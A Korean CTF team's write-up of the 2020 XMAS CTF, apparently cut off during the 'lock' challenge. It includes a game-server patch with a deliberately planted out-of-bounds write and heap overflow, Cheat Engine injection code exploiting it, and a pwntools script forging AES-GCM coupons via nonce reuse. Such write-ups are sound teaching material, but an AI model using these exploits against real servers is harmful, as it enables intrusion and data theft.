2020 XMAS CTF Write Up
- [B] - Dear Santa (846pts)
- [D] - screw driver (452pts)
- [E] - coupon (531pts)
- [F] - phantom (291pts)
- [H] - show me the pcap (509pts)
- [I] - jsantabox (846pts)
- [K] - No g (374pts)
- [M] - lock (268pts)
- [N] - ROVM (615pts)
- [O] - gift (650pts)
- [P] - Oil system (385pts)
- [Q] - angrforge (409pts)
- [R] - XP (556pts)
- [T] - picky_eater (256pts)
- [U] - baby_RudOIPh (223pts)
- [V] - mic_test (117pts)
[B] - Dear Santa (846pts)
//patch.patch
Binary files AC-origin/source/src/ac_client and AC/source/src/ac_client differ
Binary files AC-origin/source/src/ac_server and AC/source/src/ac_server differ
Binary files AC-origin/source/src/cube.h.gch and AC/source/src/cube.h.gch differ
diff -urN -x '*.txt' -x '*.o' -x '*.data' AC-origin/source/src/protocol.cpp AC/source/src/protocol.cpp
--- AC-origin/source/src/protocol.cpp 2020-12-20 00:21:00.643369549 -0800
+++ AC/source/src/protocol.cpp 2020-12-15 04:27:06.103461387 -0800
@@ -424,6 +424,7 @@
SV_CLIENT, 0,
SV_EXTENSION, 0,
SV_MAPIDENT, 3, SV_HUDEXTRAS, 2, SV_POINTS, 0,
+ HELLO_SANTA, 0, BYE_SANTA, 0,
-1
};
diff -urN -x '*.txt' -x '*.o' -x '*.data' AC-origin/source/src/protocol.h AC/source/src/protocol.h
--- AC-origin/source/src/protocol.h 2020-12-20 00:21:00.643369549 -0800
+++ AC/source/src/protocol.h 2020-12-15 04:27:06.107461372 -0800
@@ -45,6 +45,7 @@
SV_CLIENT,
SV_EXTENSION,
SV_MAPIDENT, SV_HUDEXTRAS, SV_POINTS,
+ HELLO_SANTA, BYE_SANTA,
SV_NUM
};
diff -urN -x '*.txt' -x '*.o' -x '*.data' AC-origin/source/src/server.cpp AC/source/src/server.cpp
--- AC-origin/source/src/server.cpp 2020-12-20 00:21:00.655369433 -0800
+++ AC/source/src/server.cpp 2020-12-20 00:18:32.964900427 -0800
@@ -2713,6 +2713,10 @@
welcomepacket(p, cl->clientnum);
sendpacket(cl->clientnum, chan, p.finalize());
cl->haswelcome = true;
+
+ FILE* secret = fopen("/dev/urandom", "r");
+ fgets(secret_value, 0x30, secret);
+ fclose(secret);
}
void forcedeath(client *cl)
@@ -2883,7 +2887,7 @@
}
#define QUEUE_INT(n) QUEUE_BUF(putint(cl->messages, n))
#define QUEUE_UINT(n) QUEUE_BUF(putuint(cl->messages, n))
- #define QUEUE_STR(text) QUEUE_BUF(sendstring(text, cl->messages))
+ #define QUEUE_STR(text) QUEUE_BUF(sendstring((char*)cl->textmessage.buf, cl->messages))
#define MSG_PACKET(packet) \
packetbuf buf(16 + p.length() - curmsg, ENET_PACKET_FLAG_RELIABLE); \
putint(buf, SV_CLIENT); \
@@ -3095,9 +3099,9 @@
case SV_WEAPCHANGE:
{
int gunselect = getint(p);
- if(!valid_weapon(gunselect) || gunselect == GUN_CPISTOL) break;
if(!m_demo && !m_coop) checkweapon(type,gunselect);
cl->state.gunselect = gunselect;
+ cl->state.ammo[cl->state.gunselect] = ammostats[cl->state.gunselect].start;
QUEUE_MSG;
break;
}
@@ -3729,6 +3733,42 @@
break;
}
+ case HELLO_SANTA: // hello santa
+ {
+ int mid1 = curmsg, mid2 = p.length();
+ cl->textmessage.buf = new uchar[0x20];
+
+ for (int idx = 0; char data = getint(p); idx++){
+ if( !p.remaining() || idx >= cl->textmessage.alen ) { break; }
+ cl->textmessage.buf[idx] = data;
+ }
+
+ if(cl->textmessage.buf)
+ {
+ FILE* flag = fopen("/home/prob/flag", "r");
+ cl->flag_str = new char[0x20];
+
+ fgets(cl->flag_str, 0x20, flag);
+ fclose(flag);
+ if (!memcmp(cl->textmessage.buf, secret_value, 0x30)){
+ sendservmsg(cl->flag_str, sender);
+ }
+ QUEUE_STR(cl->textmessage.buf);
+ sendservmsg((char*)cl->textmessage.buf, sender);
+ printf("%s", cl->textmessage.buf);
+ }
+ break;
+ }
+
+ case BYE_SANTA: // bye santa
+ {
+ if(cl->textmessage.buf){
+ free(cl->textmessage.buf);
+ cl->textmessage.buf = NULL;
+ }
+ break;
+ }
+
case -1:
disconnect_client(sender, DISC_TAGT);
return;
diff -urN -x '*.txt' -x '*.o' -x '*.data' AC-origin/source/src/server.h AC/source/src/server.h
--- AC-origin/source/src/server.h 2020-12-20 00:21:00.655369433 -0800
+++ AC/source/src/server.h 2020-12-15 04:27:06.107461372 -0800
@@ -105,6 +105,7 @@
};
static const int DEATHMILLIS = 300;
+char secret_value[0x30] = {0, };
struct clientstate : playerstate
{
@@ -250,6 +251,8 @@
clientstate state;
vector<gameevent> events;
vector<uchar> position, messages;
+ char* flag_str;
+ vector<uchar> textmessage;
string lastsaytext;
int saychars, lastsay, spamcount, badspeech, badmillis;
int at3_score, at3_lastforce, eff_score;
@@ -346,6 +349,8 @@
input = inputmillis = 0;
wn = -1;
bs = bt = blg = bp = 0;
+ textmessage.alen = 0x20;
+ textmessage.buf = new uchar[textmessage.alen];
}
void zap()
@@ -440,7 +445,8 @@
"SV_SWITCHNAME", "SV_SWITCHSKIN", "SV_SWITCHTEAM",
"SV_CLIENT",
"SV_EXTENSION",
- "SV_MAPIDENT", "SV_HUDEXTRAS", "SV_POINTS"
+ "SV_MAPIDENT", "SV_HUDEXTRAS", "SV_POINTS",
+ "HELLO_SANTA", "BYE_SANTA"
};
const char *entnames[] =
@@ -519,6 +525,8 @@
{50, 0, 100, S_ITEMARMOUR}, // 2 armour
};
+int pool[0x100] = {-1, };
+
guninfo guns[NUMGUNS] =
{
// Please update ./ac_website/htdocs/docs/introduction.html if these figures change.
패치를 통해 HELLO_SANTA
, BYE_SANTA
두개의 게임 패킷번호가 추가되고 SV_WEAPCHANGE
패킷에서 올바른 무기번호인지 체크하는 valid_weapon 함수가 누락되었다. (취약점은 여기서 발생할거라고 예상할 수 있다.)
서버가 HELLO_SANTA
패킷을 수신하면 클라이언트가 보낸 배열을 secret_value 배열과 비교하고 일치하면 flag를 클라이언트에게 전송한다. 그리고 일치여부와 상관없이 클라이언트가 보냈던 배열을 그대로 전송한다.
secret_value은 랜덤한 값으로 초기화되므로 다른 방식으로 flag를 릭해야한다.
//clientgame.cpp
...
void newname(const char *name)
{
if(name[0])
{
string tmpname;
filtertext(tmpname, name, FTXT__PLAYERNAME, MAXNAMELEN);
exechook(HOOK_SP, "onNameChange", "%d \"%s\"", player1->clientnum, tmpname);
copystring(player1->name, tmpname);//12345678901234//
if(!player1->name[0]) copystring(player1->name, "unarmed");
updateclientname(player1);
addmsg(SV_SWITCHNAME, "rs", player1->name);
}
else conoutf("your name is: %s", player1->name);
}
...
먼저, 패킷 생성 및 전송을 위해 Cheat Engine을 ac_client.exe 프로세스에 Attach하고 인게임 내에서 패킷 전송 함수 addmsg를 직접 호출하는 방식을 사용하였다.
호출하는 방법은 첫번째는 패킷번호, 두번째는 인자의 구성정보(s=string, i=integer), 세번째부터는 실제 인자 데이터가 들어가면 된다.
alloc(sender,200)
alloc(name,100)
name:
db 'hello1234'
sender:
push name
push ac_client.exe+E3078 //"rs"
push #85 // SV_SWITCHNAME
call ac_client.exe+204B0
add esp,0C
ret
createthread(sender)
예를 들어, 닉네임을 변경하는 패킷번호는 SV_SWITCHNAME = 85번이며 닉네임을 hello1234로 변경하는 패킷을 전송하려면 위와 같이 Auto Assemble 코드를 작성하면 된다.
cl->state.ammo[cl->state.gunselect] = ammostats[cl->state.gunselect].start;
취약점은 valid_weapon 함수호출이 누락되면서 위 코드에서 발생한다.
cl->state.ammo 주소에서 oob가 발생하여 cl(client) 객체의 특정 변수를 조작할 수 있다. 하지만 ammostats[cl->state.gunselect].start 값으로 쓰여지기 때문에 원하는 값으로의 변경은 어렵다.
struct client // server side version of "dynent" type
{
...
clientstate state;
vector<gameevent> events;
vector<uchar> position, messages;
char* flag_str;
vector<uchar> textmessage;
string lastsaytext;
...
}
cl->state.ammo 에서 0x178 offset만큼 더하면 flag_str, textmessage 변수가 위치하므로 해당 변수들을 조작할 수 있다.
//디버깅을 위해 로그 출력하는 코드 추가됨
case HELLO_SANTA: // hello santa
{
logline(ACLOG_INFO, "[HACK] Hello santa");
int mid1 = curmsg, mid2 = p.length();
cl->textmessage.buf = new uchar[0x20];
for (int idx = 0; char data = getint(p); idx++){
logline(ACLOG_INFO, "[HACK] Santa debugging: buf[%d]: %d", idx, data);
if( !p.remaining() || idx >= cl->textmessage.alen ) { break; }
cl->textmessage.buf[idx] = data;
}
if(cl->textmessage.buf)
{
FILE* flag = fopen("/flag", "r");
cl->flag_str = new char[0x20];
fgets(cl->flag_str, 0x20, flag);
fclose(flag);
if (!memcmp(cl->textmessage.buf, secret_value, 0x30)){
logline(ACLOG_INFO, "[HACK] flag leaked..");
sendservmsg(cl->flag_str, sender);
}
else {
logline(ACLOG_INFO, "[HACK] flag not leaked..");
}
QUEUE_STR(cl->textmessage.buf);
sendservmsg((char*)cl->textmessage.buf, sender);
printf("%s", cl->textmessage.buf);
logline(ACLOG_INFO, "[HACK] cl->textmessage.buf=%s", cl->textmessage.buf);
}
break;
}
그 중 textmessage.alen을 조작하면 힙 오버플로우를 유도할 수 있다.
힙 오버플로우는 HELLO_SANTA
패킷에서 cl->textmessage.buf를 0x20만큼 할당했지만 클라이언트로부터 수신한 데이터를 버퍼에 담을때 cl->textmessage.alen값이 0x20를 넘어서면서 발생한다.
해당 과정을 동적 분석하기 위해 서버 바이너리를 Attach하여 디버깅하였다.
alloc(sender,255)
alloc(message_type,100)
ac_client.exe+205E0: //bypass client oob
db EB
message_type:
db 'ri'
sender:
push #98
push message_type
push #61 // SV_WEAPCHANGE
call ac_client.exe+204B0
add esp,C
ret
createthread(sender)
위 코드를 실행하면 SV_WEAPCHANGE
취약점으로 인해 textmessage.alen값이 0x20에서 의도되지 않은 값 0x5343으로 변경된다.
alloc(hook,255)
alloc(htype,64)
alloc(count,4)
label(notgoing)
ac_client.exe+205E0: //bypass client oob
db EB
htype:
db 'ri'
hook:
pushad
pushfd
inc [count]
mov eax, [count]
cmp eax, 20
ja notgoing
push 41
push htype
push #93 // HELLO_SANTA
call ac_client.exe+204B0
add esp,#12
notgoing:
popfd
popad
mov eax,[edx+000001F0]
jmp ac_client.exe+2D2B2
ac_client.exe+2D2AC:
jmp hook
위 코드를 실행하면 flag 문자열로 힙 스프레이된다.
(서버가 HELLO_SANTA
패킷을 수신할때마다 기존에 할당된 flag 데이터를 지우지않고 새로운 메모리를 0x20번 할당한다.)
위 그림은 textmessage.buf의 내용인데 flag 문자열로 힙 스프레이 된 이후에는 높은 확률로 +0x30 offset부터 flag 데이터가 위치하게 된다.
서버 코드의 sendservmsg 함수는 NULL(‘\0’) 까지 읽어 클라이언트에게 메시지를 전달하므로 textmessage.alen 길이를 우회한 다음 0x30 데이터를 전부 “A”로 채우면 뒤에 있는 flag 문자열도 같이 출력될거라고 예상할 수 있다.
alloc(sender,255)
alloc(message_type,100)
ac_client.exe+205E0: //bypass client oob
db EB
message_type:
db 'r'
db 'iiiiiiiiiiiiiiii'
db 'iiiiiiiiiiiiiiii'
db 'iiiiiiiiiiiiiiii'
db 'i'
sender:
push 41
push 41
push 41
push 41
push 41
push 41
push 41
push 41
push 41
push 41
push 41
push 41
push 41
push 41
push 41
push 41
push 41
push 41
push 41
push 41
push 41
push 41
push 41
push 41
push 41
push 41
push 41
push 41
push 41
push 41
push 41
push 41
push 41
push 41
push 41
push 41
push 41
push 41
push 41
push 41
push 41
push 41
push 41
push 41
push 41
push 41
push 41
push 41
push 41
push message_type
push #93 // HELLO_SANTA
call ac_client.exe+204B0
add esp,#204
ret
createthread(sender)
로컬로 서버를 구축하였을 때 예상대로 flag가 릭 되었고 대회 서버로 동일하게 진행하여 flag를 획득하였다.
Flag: XMAS{S4NT4_C4N’t_G1v3_Y0U_A_GF}
[D] - screw driver (452pts)
이 문제는 윈도우 커널 드라이버로 작성된 파일을 분석하는 문제다. 먼저 DriverEntry 내부에서 호출하는 함수를 찾아보았고 아래의 그림과 같다.
I/O 디바이스를 만들고 해당 드라이버를 처리할 MajorFunction을 설정하는 것을 확인할 수 있다. 따라서, 각각의 MajorFunction을 분석했다. 위의 그림에서는 중요한 함수가 sub_140002f10
였고 해당 함수 내부에서 아래의 그림과 같이 C:\file
를 읽어오는 것을 확인할 수 있다.
따라서, 문제파일과 같이 주어진 file 파일을 hxd로 열어본 결과 29byte 데이터가 전부였다. 따라서 해당 파일이 플래그 연산과 깊은 관련이 있을 것으로 보이므로 file_data로 네이밍을 해주었다. 또한, sub_140002df0
함수에서 file_data의 값을 아래의 그림과 같이 특정 테이블에 복사를 진행해준다.
위의 그림은 이전 그림 아래에 존재하는 부분인데, sub_14000341c
함수에서 어떠한 연산을 거쳐 플래그를 md5해시화를 시켜 비교하는 함수가 존재했다. 따라서, sub_14000341c함수를 살펴보았고 다음 그림과 같다.
이전에 읽어들인 file_data를 특정 테이블과 xor연산을 시킨 것을 Str1 변수에 저장하는 것을 확인할 수 있었고, 해당 값은 @*@-Round_aNd_roUnd*@nD_r0uNd
였다. 따라서, 해당 함수를 python으로 아래와 같이 포팅을 하였고 연산 결과가 플래그임을 확인할 수 있었다.
a = [ 0x73, 0x6B, 0x0C, 0x6A, 0x54, 0x0D, 0x52, 0x3F, 0x0C, 0x64, 0x6C, 0x2E, 0x65, 0x4A, 0x33, 0x0B, 0x43, 0x4E, 0x40, 0x26, 0x7F, 0x72, 0x1F, 0x68, 0x5B, 0x63, 0x34, 0x03, 0x3C ] + [0] * 3
file_data = list(bytes.fromhex("41 41 41 41 29 37 5B 1C 3F 79 24 20 16 64 41 15 01 60 0D 3B 68 51 27 62 06 47 4C 34 33".replace(" ", ""))) + [0] * 3
file_data = list(b"XMAS") + file_data[4:]
r = ""
for i in range(29):
r += chr(a[i] ^ file_data[28 - i]) # list(b'@_@-Round_aNd_roUnd_@nD_r0uNd')
print(r)
file_data = file_data[4:]
str2 = list(b"XMAS" + r.encode()[4:])
v4 = 0
v8 = -1
v11 = 1
v5 = 4
v7 = 5
v6 = 0
while True:
for i in range(v7):
v8 += v11
str2[v5] = v6 + (file_data[5 * v4 + v8] ^ str2[v5])
v5 += 1
v6 += 1
#print(5 * v4 + v8, v5)
v7 -= 1
if v7 <= 0:
break
for k in range(v7):
v4 += v11
str2[v5] = v6 + (file_data[5 * v4 + v8] ^ str2[v5])
v5 += 1
v6 += 1
v11 = -v11
print(str2)
print("".join(map(chr, str2)))
Flag: XMAS{Y0u_@r3_tH3_b35t_dRiv3r}
[E] - coupon (531pts)
문제 파일로는 Linux 64bit ELF 바이너리 하나가 주어진다. 해당 파일을 실행해보면 쿠폰을 발급받아 산타로부터 선물을 받을 수 있는 프로그램인 것을 알 수 있다.
위에서 보다시피 선물 목록에는 flag도 포함이 되어있는데, 정작 flag선물 쿠폰을 받기 위해 flag를 입력하면 문자열이 필터링되어있어 flag 쿠폰은 생성할 수 없는 것을 확인할 수 있다. 해당 문자열 필터링 부분은 sub_17A9
함수에서 확인할 수 있다.
또한 쿠폰 생성은 AES-GCM을 사용하는데, GCM 모드는 CTR모드에 갈루아 인증 태그를 합한 형태로 다음과 같은 로직으로 구성된다.
해당 AES-GCM 모드의 구조에서 암호화부분인 CTR모드 부분만을 떼어와 본다면 다음과 같다.
다른 블럭 암호 운영모드와는 다르게 GCM(or CTR)모드에서는 암호시스템의 입력으로 평문을 받지않고, nonce와 couter값을 이용해 keystream을 생성하는 것을 볼 수 있다. ciphertext는 이 keystream과 plaintext의 단순 XOR연산에 의해 생성되며, 복호화 역시 같은 keysteam 생성하여 ciphertext와 XOR하여 plaintext를 구할 수 있다.
즉, 위 모드의 특성으로 인해 문제의 coupon 생성 프로그램에서도 key와 nonce값이 같다면 쿠폰을 암호화하는데 쓰이는 keystream은 항상 같다는 것을 알 수 있다.
그렇다면 이 프로그램의 nonce와 key는 어떻게 생성되는지 살펴보자.
해당 부분은 main의 sub_161A
함수에서 찾아볼 수 있다. init
이란 함수명으로 rename하였으며 다음과 같다.
무려 nonce
와 key
를 생성하기 위해 C언어의 rand함수를 사용하며, seed값으로 time(0)
을 사용하는것을 볼 수 있다. 그렇다면 같은 시각에 쿠폰 발행 센터에 동시에 연결한다면 같은 nonce
와 key
를 가지고 암호화를 수행하는 발행센터를 여러 곳 둘 수 있다.
이것을 통해서 우리는 쿠폰 발행 횟수 제한이라는 문제를 해결할 수 있고, 같은 nonce와 key를 사용해 만든 쿠폰들을 통해 flag
선물 쿠폰을 요청하지 않고도 flag
선물 쿠폰을 생성할 수 있다.
이게 가능한 이유는 nonce와 key가 같을 경우, AES-GCM은 같은 keystream을 생성하고, 이는 평문과 단순히 XOR되기 때문에 우리는 flaf
, flab
, flac
라는 선물 쿠폰 데이터를 XOR한다면 flag
라는 쿠폰을 만들 수 있는 것이다.
참고로 이는 GHASH를 통해 생성된 tag값에도 적용되기때문에 flag 쿠폰의 tag값 역시 3개의 쿠폰 tag를 XOR하여 구할 수 있다.
익스플로잇을 위한 코드는 다음과 같다.
from pwn import *
from Crypto.Util.number import long_to_bytes
from Crypto.Util.strxor import strxor
from time import sleep
conn1 = remote("host4.dreamhack.games", 15317)
conn2 = remote("host4.dreamhack.games", 15317)
def get_coupon(conn, name, gift):
conn.sendlineafter("4. exit", "2")
conn.sendlineafter(" : ", name)
conn.sendlineafter(" : ", gift)
conn.recvuntil("Coupon : ")
coupon = conn.recvline().strip().decode()
conn.recvuntil("Tag : ")
tag = conn.recvline().strip().decode()
return int(coupon, 16), int(tag, 16)
def submit_coupon(conn, coupon, tag):
conn.sendlineafter("4. exit", "3")
conn.sendlineafter(" : ", long_to_bytes(coupon).hex())
conn.sendlineafter(" : ", long_to_bytes(tag).hex())
while True:
c1, h1 = get_coupon(conn1, "test", b"flab")
c2, h2 = get_coupon(conn2, "test", b"flac")
c3, h3 = get_coupon(conn1, "test", b"flaf")
if ((c1^c2) >> 64) == 1:
break
else:
conn1.close()
conn2.close()
sleep(0.3)
conn1 = remote("host4.dreamhack.games", 15317)
conn2 = remote("host4.dreamhack.games", 15317)
flag_tag = h1 ^ h2 ^ h3
flag_coupon = c1 ^ c2 ^ c3
conn1.close()
submit_coupon(conn2, flag_coupon, flag_tag)
conn2.interactive()
Flag: XMAS{DId_u_9et_pr3sent_1n_tH1s_Chr1stma5?}
[F] - phantom (291pts)
문제에서 주어진 Santa’s cipher.txt를 살펴보면 다음과 같은 내용을 확인할 수 있다.
To protect Christmas gifts from thieves, our security manager decided to introduce a new cipher system.
In this system, Blowfish algorithm with ECB mode is used and its initial value is set to 0.
Secret information is included things like the password of the safe.
The details are as follows :
Encryption
1. Prepare randomly generated 8-byte keys, K1, K2.
2. p = base64.decode(plaintext).
3. Perform C1 = Blowfish.encrypt(K1, p).
4. Perform C2 = Blowfish.encrypt(K2, C1).
5. Perform ciphertext = base64.encode(C2).
Decryption
1. Prepare K1, K2.
2. c = base64.decode(ciphertext).
3. Perform D2 = Blowfish.decrypt(K2, c).
4. Perform D1 = Blowfish.decrypt(K1, D2).
5. Perform plaintext = base64.encode(D1).
Here are two examples.
1. plaintext: "QUJDREVGR0g=" ciphertext: "J8LFHyoEuoo="
2. plaintext: "MTIzNDU2Nzg=" ciphertext: "BO9qLlWi45U="
K1 and K2 were secretly sent to all of the santas.
Be careful not to expose the keys.
암호화 방법은 Blowfish algorithm을 사용하여 ECB 모드인 것을 확인할 수 있었다. 친절하게도 공격 방법을 모두 알려주고 있다.
details에서 제공되는 plaintext, ciphertext예시를 통해 key 값을 알아내어 공격하도록 한다. 이때 효과적인 브포를 수행하기 위해 Key map을 만들어 브포를 돌려 값을 알아내었다.
import base64
import hashlib
import binascii
from Crypto.Cipher import Blowfish
from struct import pack
from tqdm import tqdm
Done = False
p = "MTIzNDU2Nzg="
c = "BO9qLlWi45U="
# p = "QUJDREVGR0g="
# c = "J8LFHyoEuoo="
pw = "m6US+8OA+WK1Dl2kLc60Kxp2o3ydWPuXbZK2vBOrQEPTSzH6Od6Qn137Ctn7oLqm7Nb2uvb2wHU="
k1 = bytes.fromhex("9e919bb33aef")
k2 = bytes.fromhex("f6ea6d937f22")
ll = {}
p = base64.b64decode(p)
c = base64.b64decode(c)
bs = Blowfish.block_size
for i in tqdm(range(256), desc=f"[=] Encryption Key-Map "):
for j in range(256):
# Blowfish.new("KEY", Blowfish.MODE_XXX)
cipher = Blowfish.new(k1 + chr(i).encode() + chr(j).encode(), Blowfish.MODE_ECB)
ll[f"{i} {j}"] = cipher.encrypt(p)
for i in tqdm(range(256), desc=f"[=] Decryption Progress"):
for j in range(256):
cipher = Blowfish.new(chr(i).encode() + chr(j).encode() + k2, Blowfish.MODE_ECB)
find = cipher.decrypt(c)
for key, value in ll.items():
if find == value:
finded = key
print(f"[=] finded : {finded}")
k1_s = finded.split(' ')
k1 = k1 + chr(int(k1_s[0])).encode() + chr(int(k1_s[1])).encode()
k2 = chr(i).encode() + chr(j).encode() + k2
print(f"[=] Key Found : {k1}")
print(f"[=] Key Found : {k2}")
# inner decryption function
cpw = base64.b64decode(pw)
cipher_1= Blowfish.new(k2, Blowfish.MODE_ECB)
cpw_k2 = cipher_1.decrypt(cpw)
cipher_2= Blowfish.new(k1, Blowfish.MODE_ECB)
cpw_k1 = cipher_2.decrypt(cpw_k2)
print(f"[+] Flag : {cpw_k1}")
Done = True
if Done == True:
break
Flag : The password of the safe is XMAS{C@tcH_y0u_1F_I_C@N!!!}.
[H] - show me the pcap (509pts)
Wireshark로 쭉 살펴보니 SSH와 TLS1.2, TLS1.3, RTP 패킷 등이 섞여 있었다. 다른 가능성을 다 보았지만, 문제의 내용과 흡사한 것은 RTP(Real Time Protocol)
로 통신한 내용이었다. 특히 WebRTC를 사용하였을 것으로 추측되어 패킷 내에서 RTP Payload 데이터를 추출하여 동영상 파일로 변환하는 방법에 집중하였다.
-
RTP Payload Dump
먼저 Wireshark에서 RTP Payload dump를 진행하기 위해서는 다음과 같은 과정을 진행하였다.
- Pcap 파일에서 Telephony 메뉴 클릭
- RTP → RTP Streams 클릭
- Export 진행
이렇게 추출한 데이터는 [filename].rtpdump 파일로 추출될 것이다.
-
필요한 파일 설치
FFmpeg (Windows)
rtptools (Linux) - release 버전 없음
위의 두 라이브러리를 설치하고 사용하는 순서도 중요하다. 방법은 아래에서 다루도록 하겠다.
-
Pcap에서 SDP 내용 추출
여기서 추출한 값은 다음과 같다.
v=0 o=- 0 0 IN IP4 127.0.0.1 s=No Name c=IN IP4 165.22.54.114 t=0 0 a=tool:libavformat 57.83.100 m=video 0 RTP/AVP 96 b=AS:200 a=rtpmap:96 MP4V-ES/90000 a=fmtp:96 profile-level-id=1; config=000001B001000001B58913000001000000012000C48D8DC43D3C04871443000001B24C61766335372E3130372E313030 a=control:streamid=0
여기서 video 뒤에 숫자 0은 포트번호를 말한다. 따라서 이를 수정하여 RTP Payload Replay를 진행할 수 있다.
-
추출한 SDP 수정
v=0 o=- 0 0 IN IP4 127.0.0.1 s=No Name c=IN IP4 165.22.54.114 t=0 0 a=tool:libavformat 57.83.100 m=video 8888 RTP/AVP 96 b=AS:200 a=rtpmap:96 MP4V-ES/90000 a=fmtp:96 profile-level-id=1; config=000001B001000001B58913000001000000012000C48D8DC43D3C04871443000001B24C61766335372E3130372E313030 a=control:streamid=0
-
Packet Replay(순서대로 명령어 진행)
ffmpeg를
Windows 10 환경
에서 먼저 실행하여 sdp 내용대로 패킷이 전송되면 영상 파일이 ttt.mkv로 export된다.ffmpeg.exe -v warning -protocol_whitelist file,udp,rtp -f sdp -i .\ttt.sdp -copyts -c copy -y ttt.mkv
rtpplay를 통해 rtpdump의 내용을 다시 replay한다. 이때, 포트번호는 SDP 내용에서 변경한 내용대로 설정해주어야 한다. 풀이를 진행할 때 편하게 수행할 수 있도록
WSL - Ubuntu 20.04
에서 진행했다.rtpplay -T -f ../exported.rtpdump 127.0.0.1/8888
위의 명령어를 순서대로 진행하게 되면, 다음과 같이 mkv 파일을 확인할 수 있다.
Flag : XMAS{Kiss-me-Thru-the-RTP}
[I] - jsantabox (846pts)
이 문제는 1분마다 난독화된 js파일이 변경된다. 변경되는 js파일에서 특정 유저에게 선물을 보낼 메일 주소를 획득해야하는데, 다음 그림과 같이 난독화 코드 사이에 디버깅을 방지 및 정상적으로 디코딩하지 않도록 코드가 구현되어있었다.
따라서 Fiddler로 모든 스크립트가 정상적으로 실행될 수 있도록 아래의 코드와 같이 Fiddler script를 작성하였다.
static function OnBeforeResponse(oSession: Session) {
if (m_Hide304s && oSession.responseCode == 304) {
oSession["ui-hide"] = "true";
}
if (oSession.HostnameIs("host4.dreamhack.games:22501") && oSession.oResponse.headers.ExistsAndContains("Content-Type","application/javascript; charset=UTF-8")){
oSession.utilDecodeResponse();
oSession.utilReplaceInResponse('debugger','');
oSession.utilReplaceInResponse('[]){}else', '[]||true){}');
oSession.utilReplaceInResponse('[])', '[]||true)');
}
}
이후에 모든 데이터가 정상적으로 복호화됨을 확인하였고, 자동으로 입력을 처리할 수 있도록 자바스크립트로 구현하였고 실행하게 되면 플래그를 획득할 수 있었다.
function load(url, address, callback) {
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (xhr.readyState === 4) {
callback(xhr.response);
}
}
xhr.open('POST', "/", true);
xhr.send("address=" + address);
}
function isFunction(functionToCheck) {
return typeof functionToCheck == "function";
}
var tmp = Object.getOwnPropertyNames(window).filter(word => word.length == 4);
var nop = ["Date", "JSON", "Math", "Intl", "eval", "Text", "Node", "File", "Blob", "Attr", "self", "name", "atob", "blur", "btoa", "find", "open", "stop", "keys", "copy", "load", "vars", "mems"];
var vars = tmp.filter(word => nop.indexOf(word) == -1);
var mems = Object.getOwnPropertyNames(window[vars]).filter(word => word.length == 4).filter(word => !isFunction(window[vars][word]) && !Array.isArray(window[vars][word]))
function getMail(name) {
for(const v of mems) {
if(window[vars][v]["n"] === name)
return window[vars][v]["k"]
}
}
Flag: XMAS{ITHINKYOUARENOTHUMAN}
[K] - No g (374pts)
문제의 내용에서 No g가 무엇인지 찾아보기 위해 먼저 악보를 살펴보았다.
문제 내에서도 No G라는 말이 있는데, 이후 악보가 여러 음계로 작성되어 있는 것을 확인할 수 있었다. 여기서 도레미파솔라시도 영어로 검색해보니 영어로 어떻게 표현되는지 알 수 있었다.
이를 통해 G가 Hex값이 아니라서 그렇다는 것을 알 수 있어 다음과 같이 정리해보았다.
FEFEFFDC EBFCFCDE BEFDEDED EFDDEDDF
EDFDFBEE BBFDFFDF FDFDFEFC FFFABAAA
BAAABABA CDCABBDB CCABBABB BABBAAAB
CCBECEDB BCCDFCCA EBADDCBE BBABEBCD
CDACADEB BEBFDFDD BFFCCFFF EBABEBCC
AABABAAF BDCCBABB ACBCDFEF FEFE
XMAS{???}형식으로 되어있다고 생각해서 알 수 있는 부분의 계이름을 변수로 각 문자는 변수의 합이라고 가정하였다. 위의 표시는 8음절씩 끊어서 작성한 것이다.
FEFEFF DCEBFC FCDEB EFDEDE DEFDDEDDF
X M A S {
EDFD FBEEBBFD FFDFFDF DFEFCFFF ABAAA
7 h e r 3
BAAABABAC DCABBDBCC ABBAB BBABBAAAB
_ i 5 _
CCBECEDBB CCDFCCAEB ADDCBEBB ABEBCD
n o _ G
CDACADEB BEBFDFDD BFFCCFFF EBABEBCC
_ i n _
AABABAA FBDC CBABBACB CDFEDFEFE
H 3 X }
z3를 돌려서 정확한 값인지 검증하고 나머지는 게싱해서 더하고 빼서 맞췄다.
from z3 import *
C = Int('C')
D = Int('D')
E = Int('E')
F = Int('F')
A = Int('A')
B = Int('B')
s = Solver()
s.add(F+E+F+E+F+F == ord("X"))
s.add(D+C+E+B+F+C == ord("M"))
s.add(F+C+D+E+B == ord("A"))
s.add(E+F+D+E+D+E == ord("S"))
s.add(D+E+F+D+D+E+D+D+F == ord("{"))
s.add(C+D+F+E+D+F+E+F+E == ord("}"))
s.check()
print(s.model())
C = 12
D = 13
E = 14
F = 15
A = 10
B = 11
print("[+] Flag : ")
print(chr(F+E+F+E+F+F )) # X
print(chr(D+C+E+B+F+C )) # M
print(chr(F+C+D+E+B )) # A
print(chr(E+F+D+E+D+E )) # S
print(chr(D+E+F+D+D+E+D+D+F )) # {
print(chr(E+D+F+D )) # 7
print(chr(F+B+E+E+B+B+F+D )) # h
print(chr(F+F+D+F+F+D+F )) # e
print(chr(D+F+E+F+C+F+F+F )) # r
print(chr(A+B+A+A+A )) # 3
print(chr(B+A+A+A+B+A+B+A+C )) # _
print(chr(D+C+A+B+B+D+B+C+C )) # i
print(chr(A+B+B+A+B )) # 5
print(chr(B+B+A+B+B+A+A+A+B )) # _
print(chr(C+C+B+E+C+E+D+B+B )) # n
print(chr(C+C+D+F+C+C+A+E+B )) # o
print(chr(A+D+D+C+B+E+B+B )) # _
print(chr(A+B+E+B+C+D )) # G
print(chr(C+D+A+C+A+D+E+B )) # _
print(chr(B+E+B+F+D+F+D+D )) # i
print(chr(B+F+F+C+C+F+F+F )) # n
print(chr(E+B+A+B+E+B+C+C )) # _
print(chr(A+A+B+A+B+A+A )) # H
print(chr(F+B+D+C )) # 3
print(chr(C+B+A+B+B+A+C+B )) # X
print(chr(C+D+F+E+D+F+E+F+E )) # }
Flag : XMAS{7her3_i5_no_G_in_H3X}
[M] - lock (268pts)
이 문제는 lock.dump파일만 주어졌다. 해당 파일은 aarch64 insturction
으로 디스어셈되어있었고, 그리 긴 어셈도 아니였기에 변수 네이밍을 진행했다. 분석 결과 대략적으로 아래와 같이 구현되어있음을 알 수 있었다.
key = [0x96, 0x19, 0x7, 0x11, 0x99, 0x19, 0x2, 0x11]
